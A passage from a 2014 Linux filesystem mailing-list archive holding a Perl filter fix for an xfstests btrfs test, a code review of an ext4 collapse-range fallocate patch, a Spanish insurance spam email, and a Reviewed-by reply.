-'\s+(\d+)\s+(?:(\d+)\s+)?(\d+)\s+(.*)/) or next; $flags =~ '\ -'/(?:^|,)inline(?:,|$)/ and next; print $physical * $blocksize, "#", '\ -'$length * $blocksize, "#", $logical * $blocksize, " "' +FILEFRAG_FILTER=' + if (/blocks of (\d+) bytes/) { + $blocksize = $1; + next + } + ($ext, $logical, $physical, $length) = + (/^\s*(\d+):\s+(\d+)..\s+\d+:\s+(\d+)..\s+\d+:\s+(\d+):/) + or next; + print $physical * $blocksize, "#", + $length * $blocksize, "#", + $logical * $blocksize, " "' # this makes filefrag output script readable by using a perl helper. # output is one extent per line, with three numbers separated by '#' -- 1.8.3.1 From lczerner@redhat.com Tue Feb 11 05:59:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_BELOW2 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2172F7F3F for ; Tue, 11 Feb 2014 05:59:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CEF958F8070 for ; Tue, 11 Feb 2014 03:59:30 -0800 (PST) X-ASG-Debug-ID: 1392119966-04bdf0121f2a0440001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 5LWXWEI0ESAJBdsV for ; Tue, 11 Feb 2014 03:59:26 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1BBxIbk023776 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Feb 2014 06:59:19 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1BBxDaZ026400 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Feb 2014 06:59:15 -0500 Date: Tue, 11 Feb 2014 12:59:13 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Namjae Jeon cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate In-Reply-To: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> X-ASG-Orig-Subj: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: References: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392119966 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sun, 2 Feb 2014, Namjae Jeon wrote: > Date: Sun, 2 Feb 2014 14:44:34 +0900 > From: Namjae Jeon > To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, > adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com > Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, > linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, > Namjae Jeon , Namjae Jeon , > Ashish Sangwan > Subject: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for > fallocate > > From: Namjae Jeon > > Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Description is missing here, please provide FALLOC_FL_COLLAPSE_RANGE description so people know what it's supposed to be doing. more comments bellow. Thanks! -Lukas > > Signed-off-by: Namjae Jeon > Signed-off-by: Ashish Sangwan > --- > fs/ext4/ext4.h | 3 + > fs/ext4/extents.c | 297 ++++++++++++++++++++++++++++++++++++++++++- > fs/ext4/move_extent.c | 2 +- > include/trace/events/ext4.h | 25 ++++ > 4 files changed, 325 insertions(+), 2 deletions(-) > > diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h > index e618503..5cc015a 100644 > --- a/fs/ext4/ext4.h > +++ b/fs/ext4/ext4.h > @@ -2745,6 +2745,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); > extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, > __u64 start, __u64 len); > extern int ext4_ext_precache(struct inode *inode); > +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); > > /* move_extent.c */ > extern void ext4_double_down_write_data_sem(struct inode *first, > @@ -2754,6 +2755,8 @@ extern void ext4_double_up_write_data_sem(struct inode *orig_inode, > extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, > __u64 start_orig, __u64 start_donor, > __u64 len, __u64 *moved_len); > +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, > + struct ext4_extent **extent); > > /* page-io.c */ > extern int __init ext4_init_pageio(void); > diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c > index 267c9fb..12338c1 100644 > --- a/fs/ext4/extents.c > +++ b/fs/ext4/extents.c > @@ -4566,12 +4566,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > unsigned int credits, blkbits = inode->i_blkbits; > > /* Return error if mode is not supported */ > - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | > + FALLOC_FL_COLLAPSE_RANGE)) > return -EOPNOTSUPP; > > if (mode & FALLOC_FL_PUNCH_HOLE) > return ext4_punch_hole(inode, offset, len); > > + if (mode & FALLOC_FL_COLLAPSE_RANGE) > + return ext4_collapse_range(inode, offset, len); > + > ret = ext4_convert_inline_data(inode); > if (ret) > return ret; > @@ -4870,3 +4874,294 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, > ext4_es_lru_add(inode); > return error; > } > + > +/* > + * ext4_access_path: > + * Function to access the path buffer for marking it dirty. > + * It also checks if there are sufficient credits left in the journal handle > + * to update path. > + */ > +static int > +ext4_access_path(handle_t *handle, struct inode *inode, > + struct ext4_ext_path *path) > +{ > + int credits, err; > + > + /* > + * Check if need to extend journal credits > + * 3 for leaf, sb, and inode plus 2 (bmap and group > + * descriptor) for each block group; assume two block > + * groups > + */ > + if (handle->h_buffer_credits < 7) { > + credits = ext4_writepage_trans_blocks(inode); > + err = ext4_ext_truncate_extend_restart(handle, inode, credits); > + /* EAGAIN is success */ > + if (err && err != -EAGAIN) > + return err; > + } > + > + err = ext4_ext_get_access(handle, inode, path); > + return err; > +} > + > +/* > + * ext4_ext_shift_path_extents: > + * Shift the extents of a path structure lying between path[depth].p_ext > + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift > + * from starting block for each extent. > + */ > +static int > +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, > + struct inode *inode, handle_t *handle, > + ext4_lblk_t *start) > +{ > + int depth, err = 0; > + struct ext4_extent *ex_start, *ex_last; > + bool update = 0; > + depth = path->p_depth; > + > + while (depth >= 0) { > + if (depth == path->p_depth) { > + ex_start = path[depth].p_ext; > + if (!ex_start) > + return -EIO; > + > + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); > + if (!ex_last) > + return -EIO; > + > + err = ext4_access_path(handle, inode, path + depth); > + if (err) > + goto out; > + > + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) > + update = 1; > + > + *start = ex_last->ee_block + > + ext4_ext_get_actual_len(ex_last); > + > + while (ex_start <= ex_last) { > + ex_start->ee_block -= shift; > + if (ex_start > > + EXT_FIRST_EXTENT(path[depth].p_hdr)) { > + if (ext4_ext_try_to_merge_right(inode, > + path, ex_start - 1)) > + ex_last--; > + } > + ex_start++; > + } > + err = ext4_ext_dirty(handle, inode, path + depth); > + if (err) > + goto out; > + > + if (--depth < 0 || !update) > + break; > + } > + > + /* Update index too */ > + err = ext4_access_path(handle, inode, path + depth); > + if (err) > + goto out; > + > + path[depth].p_idx->ei_block -= shift; > + err = ext4_ext_dirty(handle, inode, path + depth); > + if (err) > + goto out; > + > + /* we are done if current index is not a starting index */ > + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) > + break; > + > + depth--; > + } > + > +out: > + return err; > +} > + > +/* > + * ext4_ext_shift_extents: > + * All the extents which lies in the range from start to the last allocated > + * block for the file are shifted downwards by shift blocks. > + * On success, 0 is returned, error otherwise. > + */ > +static int > +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, > + ext4_lblk_t start, ext4_lblk_t shift) > +{ > + struct ext4_ext_path *path; > + int ret = 0, depth; > + struct ext4_extent *extent; > + ext4_lblk_t stop_block, current_block; > + ext4_lblk_t ex_start, ex_end; > + > + /* Let path point to the last extent */ > + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); > + if (IS_ERR(path)) > + return PTR_ERR(path); > + > + depth = path->p_depth; > + extent = path[depth].p_ext; > + if (!extent) { > + ext4_ext_drop_refs(path); > + kfree(path); > + return ret; > + } > + > + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); > + ext4_ext_drop_refs(path); > + kfree(path); > + > + /* Nothing to shift, if hole is at the end of file */ > + if (start >= stop_block) > + return ret; > + > + /* > + * Don't start shifting extents until we make sure the hole is big > + * enough to accomodate the shift. > + */ > + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); > + depth = path->p_depth; > + extent = path[depth].p_ext; > + ex_start = extent->ee_block; > + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); > + ext4_ext_drop_refs(path); > + kfree(path); > + > + if ((ex_start > start - 1 && shift > ex_start) || > + (ex_end > start - shift)) > + return -EINVAL; > + > + /* Its safe to start updating extents */ > + while (start < stop_block) { > + path = ext4_ext_find_extent(inode, start, NULL, 0); > + if (IS_ERR(path)) > + return PTR_ERR(path); > + depth = path->p_depth; > + extent = path[depth].p_ext; > + current_block = extent->ee_block; > + if (start > current_block) { > + /* Hole, move to the next extent */ > + ret = mext_next_extent(inode, path, &extent); > + if (ret != 0) { > + ext4_ext_drop_refs(path); > + kfree(path); > + if (ret == 1) > + ret = 0; > + break; > + } > + } > + ret = ext4_ext_shift_path_extents(path, shift, inode, > + handle, &start); > + ext4_ext_drop_refs(path); > + kfree(path); > + if (ret) > + break; > + } > + > + return ret; > +} > + > +/* > + * ext4_collapse_range: > + * This implements the fallocate's collapse range functionality for ext4 > + * Returns: 0 and non-zero on error. > + */ > +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) > +{ > + struct super_block *sb = inode->i_sb; > + ext4_lblk_t punch_start, punch_stop; > + handle_t *handle; > + unsigned int credits; > + unsigned int rounding; > + loff_t ioffset, new_size; > + int ret; > + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; > + > + BUG_ON(offset + len > i_size_read(inode)); So if anyone provides offset + len which exceeds the i_size then it crashes the kernel ? That does not sound right, or am I missing a check anywhere ? Also in the patch 0/3 you're saying that: " It wokrs beyond "EOF", so the extents which are pre-allocated beyond "EOF" are also updated. " so which is true ? Again it would be better to have the description in this patch as well. Moreover offset and len are loff_t which means that the addition operation can easily overflow. Also you're not holding any locks which would prevent i_size from changing. > + > + /* Collapse range works only on fs block size aligned offsets. */ > + if (offset & blksize_mask || len & blksize_mask) > + return -EINVAL; > + > + if (!S_ISREG(inode->i_mode)) > + return -EOPNOTSUPP; > + > + if (EXT4_SB(sb)->s_cluster_ratio > 1) > + return -EOPNOTSUPP; Please if you're going to write the support for it, make it complete and provide support for bigalloc file system as well. What is the problem when it comes to bigalloc fs ? It should concern allocation only, extent tree manipulation should be the same. > + > + /* Currently just for extent based files */ > + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) > + return -EOPNOTSUPP; That's fine indirect block addressing is pretty much obsolete now. Ext3 uses it, but we do not need to add functionality to "ext3" code. However the inode flag can change so you should do this under the mutex lock. > + > + if (IS_SWAPFILE(inode)) > + return -ETXTBSY; Again, this should be done under the lock. > + > + trace_ext4_collapse_range(inode, offset, len); > + > + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); > + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); So far you've been using blksize_mask instead of EXT4_BLOCK_SIZE_BITS(sb), please use only one to make it easier for reader. I suggest using EXT4_BLOCK_SIZE_BITS(sb) since you actually have sb available. > + > + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); > + ioffset = offset & ~(rounding - 1); Why do you need to round it to the whole page ? > + > + /* Write out all dirty pages */ > + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); > + if (ret) > + return ret; > + > + /* Take mutex lock */ > + mutex_lock(&inode->i_mutex); What about append only and immutable files ? You probably need to check for that we well right ? See ext4_punch_hole() > + > + /* Wait for existing dio to complete */ > + ext4_inode_block_unlocked_dio(inode); > + inode_dio_wait(inode); > + > + truncate_pagecache_range(inode, ioffset, -1); > + > + credits = ext4_writepage_trans_blocks(inode); > + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); > + if (IS_ERR(handle)) { > + ret = PTR_ERR(handle); > + goto out_dio; > + } > + > + down_write(&EXT4_I(inode)->i_data_sem); > + > + ext4_discard_preallocations(inode); > + > + ret = ext4_es_remove_extent(inode, punch_start, > + EXT_MAX_BLOCKS - punch_start - 1); > + if (ret) > + goto journal_stop; > + > + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); > + if (ret) > + goto journal_stop; > + > + ret = ext4_ext_shift_extents(inode, handle, punch_stop, > + punch_stop - punch_start); > + if (ret) > + goto journal_stop; > + > + if ((offset + len) > i_size_read(inode)) > + new_size = offset; You've hit BUG_ON() on this case at the beginning of the function. I am confused, please provide proper commit description. Thanks! -Lukas > + else > + new_size = i_size_read(inode) - len; > + > + truncate_setsize(inode, new_size); > + EXT4_I(inode)->i_disksize = new_size; > + > + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); > + ext4_mark_inode_dirty(handle, inode); > + > +journal_stop: > + ext4_journal_stop(handle); > + up_write(&EXT4_I(inode)->i_data_sem); > + > +out_dio: > + ext4_inode_resume_unlocked_dio(inode); > + mutex_unlock(&inode->i_mutex); > + return ret; > +} > diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c > index 773b503..b474558 100644 > --- a/fs/ext4/move_extent.c > +++ b/fs/ext4/move_extent.c > @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) > * ext4_ext_path structure refers to the last extent, or a negative error > * value on failure. > */ > -static int > +int > mext_next_extent(struct inode *inode, struct ext4_ext_path *path, > struct ext4_extent **extent) > { > diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h > index 197d312..90e2f71 100644 > --- a/include/trace/events/ext4.h > +++ b/include/trace/events/ext4.h > @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, > __entry->shrunk_nr, __entry->cache_cnt) > ); > > +TRACE_EVENT(ext4_collapse_range, > + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), > + > + TP_ARGS(inode, offset, len), > + > + TP_STRUCT__entry( > + __field(dev_t, dev) > + __field(ino_t, ino) > + __field(loff_t, offset) > + __field(loff_t, len) > + ), > + > + TP_fast_assign( > + __entry->dev = inode->i_sb->s_dev; > + __entry->ino = inode->i_ino; > + __entry->offset = offset; > + __entry->len = len; > + ), > + > + TP_printk("dev %d,%d ino %lu offset %lld len %lld", > + MAJOR(__entry->dev), MINOR(__entry->dev), > + (unsigned long) __entry->ino, > + __entry->offset, __entry->len) > +); > + > #endif /* _TRACE_EXT4_H */ > > /* This part must be outside protection */ > From carlosbacaherrera@gmail.com Tue Feb 11 06:11:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.5 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, UPPERCASE_75_100 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2D6E37F3F for ; Tue, 11 Feb 2014 06:11:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6ED0AC014 for ; Tue, 11 Feb 2014 04:11:28 -0800 (PST) X-ASG-Debug-ID: 1392120682-04cb6c6de0286cb0001-NocioJ Received: from tlcex02.thelifeco.com (tlcex02.thelifeco.com [77.79.66.212]) by cuda.sgi.com with SMTP id 5ZZb9xnwFRUf3Z9F for ; Tue, 11 Feb 2014 04:11:22 -0800 (PST) X-Barracuda-Envelope-From: carlosbacaherrera@gmail.com X-Barracuda-Apparent-Source-IP: 77.79.66.212 Received: from gmail.com (187.162.46.68) by TLCEX02.THELIFECO.COM (77.79.66.212) with Microsoft SMTP Server id 14.0.722.0; Tue, 11 Feb 2014 13:59:47 +0200 From: To: Subject: FIANZAS y SEGUROS de todo tipo NOSOTROS LO RESOLVEMOS de INMEDIATO Date: Tue, 11 Feb 2014 07:08:09 -0600 X-ASG-Orig-Subj: FIANZAS y SEGUROS de todo tipo NOSOTROS LO RESOLVEMOS de INMEDIATO MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_8BB8A029.CE4DA201" Message-ID: <6a64cbe8-a36a-434f-a79e-494f5f44bdfe@TLCEX02.THELIFECO.COM> Received-SPF: SoftFail (TLCEX02.THELIFECO.COM: domain of transitioning carlosbacaherrera@gmail.com discourages use of 187.162.46.68 as permitted sender) X-Barracuda-Connect: tlcex02.thelifeco.com[77.79.66.212] X-Barracuda-Start-Time: 1392120682 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: fed2c957fad3443598399caa38bb6d50-5182-htm X-Barracuda-Spam-Score: 2.24 X-Barracuda-Spam-Status: No, SCORE=2.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074b, BSF_SC0_SA148a, HTML_MESSAGE, NO_REAL_NAME, UPPERCASE_75_100, UPPERCASE_75_100_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.10 BSF_SC0_SA148a URI: Custom Rule SA148a 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 UPPERCASE_75_100 message body is 75-100% uppercase 0.20 BSF_SC0_SA074b Custom Rule SA074b 1.93 UPPERCASE_75_100_2 message body is 75-100% uppercase ------=_NextPart_000_0012_8BB8A029.CE4DA201 Content-Type: text/plain Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- ------=_NextPart_000_0012_8BB8A029.CE4DA201 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit --------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
(This safeguard is not inserted when using the registered version)
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------

FIANZAS y SEGUROS UUURGENTES de TODO TIPO
¡NOSOTROS LO RESOLVEMOS
!

ATREVASE A RENTAR SUS PROPIEDADES, NOSOTROS LE GARANTIZAMOS SUS RENTAS;

TODO TIPO DE FIANZAS:

TRABAJAMOS CON ARRENDADORAS
CONSTRUCTORAS, COMERCIALIZADORAS, SECTOR GOBIERNO, SECTOR PRIVADO, SECTOR SOCIAL, SECTOR FINANCIERO

  1. ARRENDAMIENTO
  2. ADMINISTRATIVAS:

  • SOSTENIMIENTO DE OFERTAS
  • CUMPLIMIENTO
  • ANTICIPPOS
  • BUENA CALIDAD
  • VICIOS OCULTOS, ETC.

FIDELIDAD; CONTRA EMPLEADOS DESHONESTOS. POR LOS QUEBRANTOS QUE PUDIESEN GENERAR CONTRA EL PATRON

  1. CREDITOS FISCALES:

  • SAT
  • IMSS
  • INFONAVIT, ETC

ARRENDAMIENTO

  • CASAS,
  • EDIFICIOS,
  • LOCALES COMERCIALES,
  • EQUIPOS DE COMPUTO
  • AUTOMOVILES EN LEASING
  • AVIONES
  • BARCOS
  • SATELITES, ETC.

NOSOTROS PAGAMOS EN 5 DIAS. LAS RENTAS NO PAGADAS. TENEMOS LA FIANZA DE ARRENDAMIENTO CON FIDEICOMISO. CON LA UNICA AFIANZADORA Y FIDUCIARIA  "FIDUCIA".

30 AÑOS  DE SERVICIO NOS RESPALDAN
SOMOS 100% MEXICANOS
SOMOS 100% HONESTOS

CREAMOS TECNOLOGIA DE CLASE MUNDIAL. EXPERTOS EN SEGUROS Y FIANZAS SOFISTICADAS.

OFICINAS; INSURGENTES SUR 1223 PH. (CASI ESQUINA SUR DEL PARQUE HUNDIDO), ARRIBA DE ROMEO & JULIET CANTABAR/KARAOKE & SHOW CENTER.

TELS; 56119709, 56111841, 55986212 Y 55637420
MAILS; CARLOSBACAHERRERA@OYAPAC.COM CONTACTO@OYAPAC.COM 



--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
(This safeguard is not inserted when using the registered version)
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
------=_NextPart_000_0012_8BB8A029.CE4DA201-- From prvs=7119742a2b=jbacik@fb.com Tue Feb 11 07:25:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0D73D7F3F for ; Tue, 11 Feb 2014 07:25:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB9528F8035 for ; Tue, 11 Feb 2014 05:25:48 -0800 (PST) X-ASG-Debug-ID: 1392125147-04cb6c6de228bbe0001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0a-00082601.pphosted.com [67.231.145.42]) by cuda.sgi.com with ESMTP id Wn9fSlQX9DKpDtxJ for ; Tue, 11 Feb 2014 05:25:47 -0800 (PST) X-Barracuda-Envelope-From: prvs=7119742a2b=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.145.42 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] Received: from pps.filterd (m0044008 [127.0.0.1]) by mx0a-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s1BDL3YI027796; Tue, 11 Feb 2014 05:25:36 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=WqHHwX119HrDuITXnKdvx/nZZfZMN/7kqaJYf0OyQ1g=; b=L1xPmvkpFf0EGCWl69CoggeweSRL+CMJvycki8fX0u2PmOVGxsvgT+QkrXaJkUK5VYXf FyxmX1n9udjLl+TIUUVSh/2d1ENZe1xfZL7TdNoClxacAMgdkCxlW40PvsYwNBUu78Tp x7wR+dIEb0HhL4AfS6yUXIQWDEv91s1yQOA= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0a-00082601.pphosted.com with ESMTP id 1hy12rm123-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Tue, 11 Feb 2014 05:25:36 -0800 Received: from PRN-CHUB14.TheFacebook.com (192.168.16.24) by PRN-CHUB05.TheFacebook.com (192.168.16.15) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 11 Feb 2014 05:25:35 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.24) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 11 Feb 2014 05:25:33 -0800 Message-ID: <52FA24CB.3070103@fb.com> Date: Tue, 11 Feb 2014 08:25:31 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Wang Shilong , CC: Subject: Re: [PATCH v2] xfstests: btrfs/004: fix to make test really work References: <1392113204-29237-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: btrfs/004: fix to make test really work In-Reply-To: <1392113204-29237-1-git-send-email-wangsl.fnst@cn.fujitsu.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-02-11_04:2014-02-11,2014-02-11,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=4.89334628372973e-10 kscore.compositescore=0 circleOfTrustscore=54.8109329166201 compositescore=0.999738115633958 urlsuspect_oldscore=0.999738115633958 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999738115633958 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1402110036 X-FB-Internal: deliver X-Barracuda-Connect: mx0a-00082601.pphosted.com[67.231.145.42] X-Barracuda-Start-Time: 1392125147 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/11/2014 05:06 AM, Wang Shilong wrote: > So i was wondering why test 004 could pass my previous wrong > kernel patch while it defenitely should not. > > By some debugging, i found here perl script is wrong, we did not > filter out anything and this unit test did not work acutally.so > it came out we will never fail this test. > > Signed-off-by: Wang Shilong > --- This works for me, you can add Reviewed-by: Josef Bacik Thanks, Josef From tinguely@sgi.com Tue Feb 11 08:18:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D8FA17F3F for ; Tue, 11 Feb 2014 08:18:40 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9B6E8304067; Tue, 11 Feb 2014 06:18:37 -0800 (PST) Message-ID: <52FA3141.20901@sgi.com> Date: Tue, 11 Feb 2014 08:18:41 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: 